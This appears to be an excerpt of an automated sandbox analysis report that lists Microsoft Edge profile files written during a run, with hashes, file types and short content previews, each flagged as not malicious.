SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\59e20b1a-5608-496a-82f6-79b82e5d786d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.565965439677948
Encrypted:	false
SSDEEP:	768:0tLLUE7pLGLpriWPukfYf8F1+UoAYDCx9Tuqh0VfUC9xbog/OVziGAt9Frwcxpt9:0tLLUIcpriWPukfYfu1jaOiG29ucVtL
MD5:	849FAF10F6ABE5AEDE0652BD553775C8
SHA1:	769848CBADAD5B031862912F5A64F978E63647DE
SHA-256:	B34B8D45139B59589C737147718F89EE4670E95D59D2E561389639C71A77B4D2
SHA-512:	0235BB18426317E99E70FF5232AC36FAE2489AEB9C00AFFFC76F98142419B0ADCCC5D1725BCBFC03C9B39CF1FC887D6281F8A077E7F6B38ECB9266255CA70F2B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374521665775807","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374521665775807","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5af5bb6b-926c-4cfa-ac1e-c13c5dbd130f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9715
Entropy (8bit):	5.11426789616414
Encrypted:	false
SSDEEP:	192:stBkdp1s4DsZihUkeeNRn8wbV+FGaQA66WVaFIMYsPMYJ:stBQ1s4Dfh5bGDQx6WVaTYI
MD5:	192BE17E49DAB31B6183E60F6F6FFCBA
SHA1:	398540B910889C57F7F7BBF753CDBD8E697A46E4
SHA-256:	01426DAE67D25E89959DEBEAA2C6D66DABD132A8C22C0A91281E7836EA4B095D
SHA-512:	32229124F1CA02FA40AE6B9049116CE60CECE18A7028CF69EA372B6C465D525492486C8766FA21641214E5EDAD527F5E2C27D65173F6493E0DCAA055BB9CFB23
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374521666382694","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\637a15b0-7632-41bd-b940-666b32bf4ee2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561419975297837
Encrypted:	false
SSDEEP:	768:0gdL+E7pLGLpoiWPukfFf8F1+UoAYDCx9Tuqh0VfUC9xbog/OVliPAtKFrw0dGzO:0gdL+IcpoiWPukfFfu1jawiP2Ku0dGzO
MD5:	7F4279AE6EB256D348813EBD09B2E1C1
SHA1:	5A3B0FAC01206D68C32BC69A55FE76990117A79A
SHA-256:	4D9B01B10C743A3891A9DAAF224111FAF69EB8E8945E5353B2C1E02D9FD9D99D
SHA-512:	D4D4438271BA0760E45206C2141CFE689458052AB6B674189E6AA906A31BFAFA46F1DC8D4EE547009FB7CB90D026248759E0A9235F1ED684A10C6E518E85538D
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374521665775807","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374521665775807","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.25755113210252
Encrypted:	false
SSDEEP:	6:2xzbs1923oH+Tcwtp3hBtB2KLlsxSct+q2P923oH+Tcwtp3hBWsIFUv:2FbBYebp3dFL+odv4Yebp3eFUv
MD5:	EA7109166573746D1A452B4B181E9AB3
SHA1:	DEDE63BBF5967F9BDCCF1EFB268232030B9BC60A
SHA-256:	BD488C47BF3BF49CF47A9887B847CB1DD7DEE2EA5BA89B6586E486BE92881C96
SHA-512:	210F3DCC93F04416B497A5F35AB8F598820CDFFABF38D048780280AE42DF589F70DA4EEBCD8265A14AF295D2C8D64A9A051B302BC074EA899F0E34CF7DAB3EA8
Malicious:	false
Preview:	2024/10/27-12:54:31.440 d98 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/10/27-12:54:31.470 d98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222882741041684
Encrypted:	false
SSDEEP:	24576:v+/PN8FWfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8Yfx2mjF
MD5:	0F6C3E79AD08BF2525AD41DD55F9E4BF
SHA1:	968F1D0156D64607A6F88AF1898512DAA4C20632
SHA-256:	E646ACD0488D4A83E0D7DE415C3A8F2CF37B46390A1E42ACE280B6A0727971D0
SHA-512:	47EB39DCBC076D025D3A54B4D583B4686EEAD9CE952A12068E4716B7AFFE0C02CC047C9120A59EAD7B300879E2C734453E25732C0DF82205E17F4713E6F6FC2E
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.13687464969384
Encrypted:	false
SSDEEP:	6:2O3+q2P923oH+Tcwt9Eh1tIFUt8L2Y5Zmw+L79ONVkwO923oH+Tcwt9Eh15LJ:27v4Yeb9Eh16FUt8LJ5/+LZOz5LYeb9O
MD5:	5B0CDDC5BDA626F02D8BE9018F4C7CA1
SHA1:	39B7BBEEAC16848773F7DAB21ED24529999882C6
SHA-256:	3033D578109991311544EF22C19F778F14ADDA1CF26E540939CF384EC6CC64BF
SHA-512:	97E962C6866DEC0F9EF5483A11F89C3203EFCB8B16167091F75CC16BC21A149E574C7171F9C4914101BB21EB342E13BC797FEEC037A5F3B39AC7500B1FF3B57E
Malicious:	false
Preview:	2024/10/27-12:54:31.343 2348 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/27-12:54:31.344 2348 Recovering log #3.2024/10/27-12:54:31.392 2348 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.13687464969384
Encrypted:	false
SSDEEP:	6:2O3+q2P923oH+Tcwt9Eh1tIFUt8L2Y5Zmw+L79ONVkwO923oH+Tcwt9Eh15LJ:27v4Yeb9Eh16FUt8LJ5/+LZOz5LYeb9O
MD5:	5B0CDDC5BDA626F02D8BE9018F4C7CA1
SHA1:	39B7BBEEAC16848773F7DAB21ED24529999882C6
SHA-256:	3033D578109991311544EF22C19F778F14ADDA1CF26E540939CF384EC6CC64BF
SHA-512:	97E962C6866DEC0F9EF5483A11F89C3203EFCB8B16167091F75CC16BC21A149E574C7171F9C4914101BB21EB342E13BC797FEEC037A5F3B39AC7500B1FF3B57E
Malicious:	false
Preview:	2024/10/27-12:54:31.343 2348 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/27-12:54:31.344 2348 Recovering log #3.2024/10/27-12:54:31.392 2348 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4620768910157401
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuum:TouQq3qh7z3bY2LNW9WMcUvBuum
MD5:	1931DE80BE26FE3AC5A75C3F0F8D1622
SHA1:	C8D2B6D1A9736A5CF46E8D5BD4912374941F487C
SHA-256:	A449EC1D3DD7BF802CC74B42FBBAE452478282D268F172DBF2CA4C7CBCE1CA0A
SHA-512:	4ECC7510D1241B1B36C61313B566E760B2108697673E6C9B189D52809DB0F188CD110A773E2F7E8418A51021E138DC7CCC7D06E2866E1F6CC4940D04E00A6A76
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.208516972282984
Encrypted:	false
SSDEEP:	6:2KcN+q2P923oH+TcwtnG2tMsIFUt8L0Zmw+LUVkwO923oH+TcwtnG2tMsLJ:2VN+v4Yebn9GFUt8L0/+LUV5LYebn95J
MD5:	51EA5CE6CFA82D590045AADD09A30F37
SHA1:	9F237BC162CC4305DE7BEEAD48BB3BE5748655F7
SHA-256:	69499F0F9B11599C32E2819145AD9008CBCB870E052C13DD48FC16916C095AB1
SHA-512:	1237BD96E0DE219EAD30C58CB75C116BEFDA054D247B2E60F3FCE58559E548575E191397F9E0CB29DA3EB54CDA3D9F59A1D9A30E9689D87EFC35A2811D9AD615
Malicious:	false
Preview:	2024/10/27-12:54:25.908 1f4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/27-12:54:25.909 1f4c Recovering log #3.2024/10/27-12:54:25.909 1f4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.208516972282984
Encrypted:	false
SSDEEP:	6:2KcN+q2P923oH+TcwtnG2tMsIFUt8L0Zmw+LUVkwO923oH+TcwtnG2tMsLJ:2VN+v4Yebn9GFUt8L0/+LUV5LYebn95J
MD5:	51EA5CE6CFA82D590045AADD09A30F37
SHA1:	9F237BC162CC4305DE7BEEAD48BB3BE5748655F7
SHA-256:	69499F0F9B11599C32E2819145AD9008CBCB870E052C13DD48FC16916C095AB1
SHA-512:	1237BD96E0DE219EAD30C58CB75C116BEFDA054D247B2E60F3FCE58559E548575E191397F9E0CB29DA3EB54CDA3D9F59A1D9A30E9689D87EFC35A2811D9AD615
Malicious:	false
Preview:	2024/10/27-12:54:25.908 1f4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/27-12:54:25.909 1f4c Recovering log #3.2024/10/27-12:54:25.909 1f4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.613321952745872
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jOx7psxumL:TO8D4jJ/6Up+axCxb
MD5:	CE94B5F800CBB69049EE0F67BB67BE92
SHA1:	3390DAB6FBCDD90A581C1C97EE99D80DDA5B00CF
SHA-256:	993A44880679702EA1AE26F236C45F3A24D57BD8F7990AF42DC5E8CE6BFAB36D
SHA-512:	5BEF11271AC1505E9650285BEB6282824BF352291491D664336E112CEDFCBDE98CC6AF082A988A95C0C6FE54326EC193014240EDA7480888FF73CE182488C15C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354167743457333
Encrypted:	false
SSDEEP:	6144:FA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:FFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	1D300F09CDDC47CCB719060791426384
SHA1:	B251D13525E4559D4645929781C0E4453290E4E0
SHA-256:	359B5DACFE32948611F70DB40E8D2A4AB2433FDC4D9BE32A30DAE4AC3EF89AFF
SHA-512:	599AB33EC2DDBE39AD9FB94D3A0E497B81C03BA77AAE61DF7D4FB84D0479176CD69823B7D19861BE8D8265E1E56576CB05B4161E72ACBD4C4AD37D61E51F2C63
Malicious:	false
Preview:	...m.................DB_VERSION.1....q...............&QUERY_TIMESTAMP:domains_config_gz2...13374521672875291..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.203249761183869
Encrypted:	false
SSDEEP:	6:237FD1923oH+Tcwtk2WwnvB2KLlsxp39+q2P923oH+Tcwtk2WwnvIFUv:2r8YebkxwnvFL+X34v4YebkxwnQFUv
MD5:	CEA7D773CF146EB39A4A059BA8864BDF
SHA1:	1DCE34911A80DDD8FA039D606D4DBA7C2DDC216B
SHA-256:	ECB846E06E40D0E61A3F26931F7A4EF211C0E6A071C7515FA21FBBBB51FAD845
SHA-512:	D7D98987110EDB11FD78D8122767383B82A1CE834C4D2A5A1B1CDCF4EFE9964D96BF9AE3FD0185478C503118F3DD5D71C8756839A50AF61C7D967434B5EFE2B3
Malicious:	false
Preview:	2024/10/27-12:54:31.354 2378 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/10/27-12:54:31.459 2378 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324606399709332
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RK:C1gAg1zfvC
MD5:	D07B4F4D3708AE0C33E53CCCD6D05B4E
SHA1:	DF6581B769B636FB3B21A1BB82B530D4448DDA2E
SHA-256:	0219EB22260C63AB1C34F1BFC088E683089E3C48D4FE4071B4A2E227F5199773
SHA-512:	0B2B2FC70C07CC74353DD1F99CC1892ED7C147422514F4099C64EC322399AD464C4AA38C30DCF1F4BC19C3F4CF13C06F5C0826ED4672C26993BA84606C345E00
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}